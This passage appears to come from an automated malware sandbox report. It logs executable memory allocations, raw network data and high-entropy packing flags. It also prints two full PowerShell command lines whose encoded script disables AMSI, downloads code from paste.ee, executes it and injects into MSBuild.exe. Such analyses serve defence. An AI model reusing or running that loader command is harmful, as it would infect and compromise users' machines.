stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x72b62000
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2260
region_size: 983040
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02700000
allocation_type: 8192 (MEM_RESERVE)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2260
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x027b0000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 2260
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x721b1000
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2260
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x0270a000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 2260
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 8192
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x721b2000
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2260
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02702000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2260
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02712000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2260
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x027b1000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2260
region_size: 8192
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x027b2000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2260
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x0273a000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2260
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02713000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2260
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02714000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2260
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x0274b000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2260
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02747000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2260
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x0270b000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2260
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02732000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2260
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02745000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2260
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02715000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2260
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x0273c000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2260
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x028d0000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2260
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02716000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2260
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x0274c000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2260
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02733000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2260
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02734000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2260
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02735000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2260
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02736000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2260
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02737000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2260
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02738000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2260
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02739000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2260
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x05010000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2260
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x05011000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2260
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x05012000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2260
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x05013000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2260
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x05014000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2260
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x05015000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2260
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x05016000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2260
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x05017000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2260
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x05018000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2260
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x05019000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2260
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x0501a000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2260
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x0501b000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2260
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x0501c000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2260
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x0501d000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2260
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x0501e000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2260
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x0501f000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2260
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x05020000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2260
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x05021000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2260
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x05022000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2260
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x05023000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0
file C:\Windows\SysWOW64\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk
cmdline powershell.exe PowERsHEL`l.`ExE -ExecutionPolicy Bypass -w 1 /`e JABSAEEATgA9AFsAUwB5AHMAdABlAG0ALgBSAHUAbgB0AGkAbQBlAC4ASQBuAHQAZQByAG8AcABTAGUAcgB2AGkAYwBlAHMALgBNAGEAcgBzAGgAYQBsAF0AOgA6AEEAbABsAG8AYwBIAEcAbABvAGIAYQBsACgAKAAzADkAOQAwADcAMQA3ADIALwA0ADMAOQA3ACkAKQA7AFsAUgBlAGYAXQAuAEEAcwBzAGUAbQBiAGwAeQAuAEcAZQB0AFQAeQBwAGUAKAAiAFMAeQBzAHQAZQBtAC4ATQBhAG4AYQBnAGUAbQBlAG4AdAAuAEEAdQB0AG8AbQBhAHQAaQBvAG4ALgAkACgAWwBTAFkAcwB0AGUATQAuAE4ARQBUAC4AVwBlAGIAdQB0AEkATABJAFQAeQBdADoAOgBIAFQAbQBsAEQARQBjAE8ARABFACgAJwAmACMANgA1ADsAJgAjADEAMAA5ADsAJgAjADEAMQA1ADsAJgAjADEAMAA1ADsAJwApACkAVQB0AGkAbABzACIAKQAuAEcAZQB0AEYAaQBlAGwAZAAoACIAJAAoAFsAQwBoAEEAcgBdACgAWwBiAFkAVABlAF0AMAB4ADYAMQApACsAWwBjAGgAQQBSAF0AKABbAGIAeQBUAEUAXQAwAHgANgBEACkAKwBbAEMASABBAHIAXQAoAFsAYgB5AFQAZQBdADAAeAA3ADMAKQArAFsAQwBoAGEAUgBdACgANwAxADQAMAAvADYAOAApACkAUwBlAHMAcwBpAG8AbgAiACwAIAAiAE4AbwBuAFAAdQBiAGwAaQBjACwAUwB0AGEAdABpAGMAIgApAC4AUwBlAHQAVgBhAGwAdQBlACgAJABuAHUAbABsACwAIAAkAG4AdQBsAGwAKQA7AFsAUgBlAGYAXQAuAEEAcwBzAGUAbQBiAGwAeQAuAEcAZQB0AFQAeQBwAGUAKAAiAFMAeQBzAHQAZQBtAC4ATQBhAG4AYQBnAGUAbQBlAG4AdAAuAEEAdQB0AG8AbQBhAHQAaQBvAG4ALgAkACgAWwBTAFkAcwB0AGUATQAuAE4ARQBUAC4AVwBlAGIAdQB0AEkATABJAFQAeQBdADoAOgBIAFQAbQBsAEQARQBjAE8ARABFACgAJwAmACMANgA1ADsAJgAjADEAMAA5ADsAJgAjADEAMQA1ADsAJgAjADEAMAA1ADsAJwApACkAVQB0AGkAbABzACIAKQAuAEcAZQB0AEYAaQBlAGwAZAAoACIAJAAoAFsAQwBoAEEAcgBdACgAWwBiAFkAVABlAF0AMAB4ADYAMQApACsAWwBjAGgAQQBSAF0AKABbAGIAeQBUAEUAXQAwAHgANgBEACkAKwBbAEMASABBAHIAXQAoAFsAYgB5AFQAZQBdADAAeAA3ADMAKQArAFsAQwBoAGEAUgBdACgANwAxADQAMAAvADYAOAApACkAQwBvAG4AdABlAHgAdAAiACwAIAAiAE4AbwBuAFAAdQBiAGwAaQBjACwAUwB0AGEAdABpAGMAIgApAC4AUwBlAHQAVgBhAGwAdQBlACgAJABuAHUAbABsACwAIABbAEkAbgB0AFAAdAByAF0AJABSAEEATgApADsAJAByAGUAZwAgAD0AIAAoACcAewAyAH0AewAwAH0AewAxAH0AewAzAH0AJwAtAGYAJwBkAFMAdAAnACwAJwByAGkAbgAnACwAHCBgAEQAYABvAGAAdwBuAGAAbABgAG8AYQAdICwAJwBnACcAKQA7AFsAdgBvAGkAZABdACAAWwBTAHkAcwB0AGUAbQAuAFIAZQBmAGwAZQBjAHQAaQBvAG4ALgBBAHMAcwBlAG0AYgBsAHkAXQA6ADoATABvAGEAZABXAGkAdABoAFAAYQByAHQAaQBhAGwATgBhAG0AZQAoACcATQBpAGMAcgBvAHMAbwBmAHQALgBWAGkAcwB1AGEAbABCAGEAcwBpAGMAJwApADsAJABmAGoAPQBbAE0AaQBjAHIAbwBzAG8AZgB0AC4AVgBpAHMAdQBhAGwAQgBhAHMAaQBjAC4ASQBuAHQAZQByAGEAYwB0AGkAbwBuAF0AOgA6AEMAYQBsAGwAQgB5AG4AYQBtAGUAKAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIAAcIGAATgBgAGUAYABUAGAALgBgAFcAYABlAGAAQgBgAEMAYABsAGAAaQBgAGUAYABOAGAAVAAdICkALAAkAHIAZQBnACwAWwBNAGkAYwByAG8AcwBvAGYAdAAuAFYAaQBzAHUAYQBsAEIAYQBzAGkAYwAuAEMAYQBsAGwAVAB5AHAAZQBdADoAOgBNAGUAdABoAG8AZAAsACcAaAB0AHQAJwArAFsAQwBoAGEAcgBdADgAMAArACcAcwAnACAAKwAgAFsAQwBoAGEAcgBdADUAOAAgACsAIAAnAC8ALwBwAGEAcwB0AGUALgBlAGUALwByAC8ANQBEAGYARwBMACcAKQB8AEkARQBYADsAWwBCAHkAdABlAFsAXQBdACQAZgA9AFsATQBpAGMAcgBvAHMAbwBmAHQALgBWAGkAcwB1AGEAbABCAGEAcwBpAGMALgBJAG4AdABlAHIAYQBjAHQAaQBvAG4AXQA6ADoAQwBhAGwAbABCAHkAbgBhAG0AZQAoACgATgBlAHcALQBPAGIAagBlAGMAdAAgABwgYABOAGAAZQBgAFQAYAAuAGAAVwBgAGUAYABCAGAAQwBgAGwAYABpAGAAZQBgAE4AYABUAB0gKQAsACQAcgBlAGcALABbAE0AaQBjAHIAbwBzAG8AZgB0AC4AVgBpAHMAdQBhAGwAQgBhAHMAaQBjAC4AQwBhAGwAbABUAHkAcABlAF0AOgA6AE0AZQB0AGgAbwBkACwAJwBoAHQAdAAnACsAWwBDAGgAYQByAF0AOAAwACsAJwBzACcAIAArACAAWwBDAGgAYQByAF0ANQA4ACAAKwAgACcALwAvAHAAYQBzAHQAZQAuAGUAZQAvAHIALwBuAEMAWQBIAFkAJwApAC4AcgBlAHAAbABhAGMAZQAoACcAJAAkACcALAAnADAAeAAnACkAfABJAEUAWAA7AFsAWQAuAE0AXQA6ADoAUQAoACcATQBTAEIAdQBpAGwAZAAuAGUAeABlACcALAAkAGYAKQA7AA==
cmdline "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -w 1 /e JABSAEEATgA9AFsAUwB5AHMAdABlAG0ALgBSAHUAbgB0AGkAbQBlAC4ASQBuAHQAZQByAG8AcABTAGUAcgB2AGkAYwBlAHMALgBNAGEAcgBzAGgAYQBsAF0AOgA6AEEAbABsAG8AYwBIAEcAbABvAGIAYQBsACgAKAAzADkAOQAwADcAMQA3ADIALwA0ADMAOQA3ACkAKQA7AFsAUgBlAGYAXQAuAEEAcwBzAGUAbQBiAGwAeQAuAEcAZQB0AFQAeQBwAGUAKAAiAFMAeQBzAHQAZQBtAC4ATQBhAG4AYQBnAGUAbQBlAG4AdAAuAEEAdQB0AG8AbQBhAHQAaQBvAG4ALgAkACgAWwBTAFkAcwB0AGUATQAuAE4ARQBUAC4AVwBlAGIAdQB0AEkATABJAFQAeQBdADoAOgBIAFQAbQBsAEQARQBjAE8ARABFACgAJwAmACMANgA1ADsAJgAjADEAMAA5ADsAJgAjADEAMQA1ADsAJgAjADEAMAA1ADsAJwApACkAVQB0AGkAbABzACIAKQAuAEcAZQB0AEYAaQBlAGwAZAAoACIAJAAoAFsAQwBoAEEAcgBdACgAWwBiAFkAVABlAF0AMAB4ADYAMQApACsAWwBjAGgAQQBSAF0AKABbAGIAeQBUAEUAXQAwAHgANgBEACkAKwBbAEMASABBAHIAXQAoAFsAYgB5AFQAZQBdADAAeAA3ADMAKQArAFsAQwBoAGEAUgBdACgANwAxADQAMAAvADYAOAApACkAUwBlAHMAcwBpAG8AbgAiACwAIAAiAE4AbwBuAFAAdQBiAGwAaQBjACwAUwB0AGEAdABpAGMAIgApAC4AUwBlAHQAVgBhAGwAdQBlACgAJABuAHUAbABsACwAIAAkAG4AdQBsAGwAKQA7AFsAUgBlAGYAXQAuAEEAcwBzAGUAbQBiAGwAeQAuAEcAZQB0AFQAeQBwAGUAKAAiAFMAeQBzAHQAZQBtAC4ATQBhAG4AYQBnAGUAbQBlAG4AdAAuAEEAdQB0AG8AbQBhAHQAaQBvAG4ALgAkACgAWwBTAFkAcwB0AGUATQAuAE4ARQBUAC4AVwBlAGIAdQB0AEkATABJAFQAeQBdADoAOgBIAFQAbQBsAEQARQBjAE8ARABFACgAJwAmACMANgA1ADsAJgAjADEAMAA5ADsAJgAjADEAMQA1ADsAJgAjADEAMAA1ADsAJwApACkAVQB0AGkAbABzACIAKQAuAEcAZQB0AEYAaQBlAGwAZAAoACIAJAAoAFsAQwBoAEEAcgBdACgAWwBiAFkAVABlAF0AMAB4ADYAMQApACsAWwBjAGgAQQBSAF0AKABbAGIAeQBUAEUAXQAwAHgANgBEACkAKwBbAEMASABBAHIAXQAoAFsAYgB5AFQAZQBdADAAeAA3ADMAKQArAFsAQwBoAGEAUgBdACgANwAxADQAMAAvADYAOAApACkAQwBvAG4AdABlAHgAdAAiACwAIAAiAE4AbwBuAFAAdQBiAGwAaQBjACwAUwB0AGEAdABpAGMAIgApAC4AUwBlAHQAVgBhAGwAdQBlACgAJABuAHUAbABsACwAIABbAEkAbgB0AFAAdAByAF0AJABSAEEATgApADsAJAByAGUAZwAgAD0AIAAoACcAewAyAH0AewAwAH0AewAxAH0AewAzAH0AJwAtAGYAJwBkAFMAdAAnACwAJwByAGkAbgAnACwAHCBgAEQAYABvAGAAdwBuAGAAbABgAG8AYQAdICwAJwBnACcAKQA7AFsAdgBvAGkAZABdACAAWwBTAHkAcwB0AGUAbQAuAFIAZQBmAGwAZQBjAHQAaQBvAG4ALgBBAHMAcwBlAG0AYgBsAHkAXQA6ADoATABvAGEAZABXAGkAdABoAFAAYQByAHQAaQBhAGwATgBhAG0AZQAoACcATQBpAGMAcgBvAHMAbwBmAHQALgBWAGkAcwB1AGEAbABCAGEAcwBpAGMAJwApADsAJABmAGoAPQBbAE0AaQBjAHIAbwBzAG8AZgB0AC4AVgBpAHMAdQBhAGwAQgBhAHMAaQBjAC4ASQBuAHQAZQByAGEAYwB0AGkAbwBuAF0AOgA6AEMAYQBsAGwAQgB5AG4AYQBtAGUAKAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIAAcIGAATgBgAGUAYABUAGAALgBgAFcAYABlAGAAQgBgAEMAYABsAGAAaQBgAGUAYABOAGAAVAAdICkALAAkAHIAZQBnACwAWwBNAGkAYwByAG8AcwBvAGYAdAAuAFYAaQBzAHUAYQBsAEIAYQBzAGkAYwAuAEMAYQBsAGwAVAB5AHAAZQBdADoAOgBNAGUAdABoAG8AZAAsACcAaAB0AHQAJwArAFsAQwBoAGEAcgBdADgAMAArACcAcwAnACAAKwAgAFsAQwBoAGEAcgBdADUAOAAgACsAIAAnAC8ALwBwAGEAcwB0AGUALgBlAGUALwByAC8ANQBEAGYARwBMACcAKQB8AEkARQBYADsAWwBCAHkAdABlAFsAXQBdACQAZgA9AFsATQBpAGMAcgBvAHMAbwBmAHQALgBWAGkAcwB1AGEAbABCAGEAcwBpAGMALgBJAG4AdABlAHIAYQBjAHQAaQBvAG4AXQA6ADoAQwBhAGwAbABCAHkAbgBhAG0AZQAoACgATgBlAHcALQBPAGIAagBlAGMAdAAgABwgYABOAGAAZQBgAFQAYAAuAGAAVwBgAGUAYABCAGAAQwBgAGwAYABpAGAAZQBgAE4AYABUAB0gKQAsACQAcgBlAGcALABbAE0AaQBjAHIAbwBzAG8AZgB0AC4AVgBpAHMAdQBhAGwAQgBhAHMAaQBjAC4AQwBhAGwAbABUAHkAcABlAF0AOgA6AE0AZQB0AGgAbwBkACwAJwBoAHQAdAAnACsAWwBDAGgAYQByAF0AOAAwACsAJwBzACcAIAArACAAWwBDAGgAYQByAF0ANQA4ACAAKwAgACcALwAvAHAAYQBzAHQAZQAuAGUAZQAvAHIALwBuAEMAWQBIAFkAJwApAC4AcgBlAHAAbABhAGMAZQAoACcAJAAkACcALAAnADAAeAAnACkAfABJAEUAWAA7AFsAWQAuAE0AXQA6ADoAUQAoACcATQBTAEIAdQBpAGwAZAAuAGUAeABlACcALAAkAGYAKQA7AA==
Time & API Arguments Status Return Repeated

GetAdaptersAddresses

 flags: 15
family: 0
111 0
section {u'size_of_data': u'0x00056800', u'virtual_address': u'0x0008a000', u'entropy': 7.935966023059076, u'name': u'UPX1', u'virtual_size': u'0x00057000'} entropy 7.93596602306 description A section with a high entropy has been found
entropy 0.916556291391 description Overall entropy of this PE file is high
Data received [
Data received Wa)'Îéö¯õ°Æ9éw½´vȝ(I8±DOWNGRD ­;ÊYÕ­/aïUgâ ¶zÃXš~¥b±9Q¥›ŒÀÿ 
Data received  g
Data received c `¾0‚º0‚¢  Ž‡TÓzËxa›' ˜0  *†H†÷  0J1 0 UUS10U Cloudflare, Inc.1 0UCloudflare Inc RSA CA-20 210706000000Z 220705235959Z0u1 0 UUS10U California10U San Francisco10U Cloudflare, Inc.10Usni.cloudflaressl.com0‚"0  *†H†÷ ‚0‚ ‚½úTY˜•˜o/ññ°¿L¹Ës´G½rßâÇÊA؄ìV¤lÖ<ãzrÉãk·Ô‡Ñ¢~3éŒä©ë7鵬…Ïéú  ¿†µÜÈ°² I1Û@cbΔH™†!GÂc…-RÖrfHi-ôʈyb~dSoÁqm»uÍh~ð‰Œ2\ø×tt®0u§G0I)ƒÕÊË*%†#ú²gÙl‹ÐQ»„(O¿ͪdªpOÑëzæÑåftôúiºPI1}%Ð` Ld§Óï(çå$é0w2öŸGb;>\?™—·œˆO¨Ç@)ò;šþÎâcõj›·öW÷û£‚o0‚k0U#0€©ü²EIÁo04+هœ°%Wz0UÀŽ¡é”&ÉN”¹¢I]߀oÌ06U/0-‚paste.ee‚sni.cloudflaressl.com‚ *.paste.ee0Uÿ 0U%0++0{Ut0r07 5 3†1http://crl3.digicert.com/CloudflareIncRSACA-2.crl07 5 3†1http://crl4.digicert.com/CloudflareIncRSACA-2.crl0>U 70503g 0)0'+http://www.digicert.com/CPS0v+j0h0$+0†http://ocsp.digicert.com0@+0†4http://cacerts.digicert.com/CloudflareIncRSACA-2.crt0 Uÿ00‚} +Öy‚m‚igw)y¾ðž99!ðVsŸc¥wå¾W}œ` øùM]&\%]DŽz|”tèH0F!«´´´['ûâz¹Kï¥ó` ˜Òs¥É¿¹I§;݌‘ÝÙ!ҍ—ÏX¥Lj u£Dýjcçå*.[`²+Uì¢S5uQ£°õýyœVm¸7x ¤zÌ'Ë÷žˆBš þԋåz|”u]F0D mq1¨ÖҒ‹²ß«C‡û¹®ѕ¹R\Ú9„ßÈ QYé¬NcÎæ5H‚¼ëŽÎ~¡W+4Ÿ÷¬!»=l‚uAÈʱß"FJÆ¡: B‡^N1‹ëëKÇhðb–öz|”tîF0D NPϘÃõÊÄ=[nf!rú½0hŸÚÄ܌xäûn %?¸ æ8odlCO»¦A zm‡eN K|¬ÈzS0  *†H†÷  ‚5G«ÓóËÅZIfA‘q_ñ¯Þ[²w/.Y9VW>„±r;€—dâ݄š–ç'o£Ô§©æàÝ"¤ÏٓqºGaÖÛ~ʄÃLÛ[D,=žVKçY*LÚÔz¼ìp 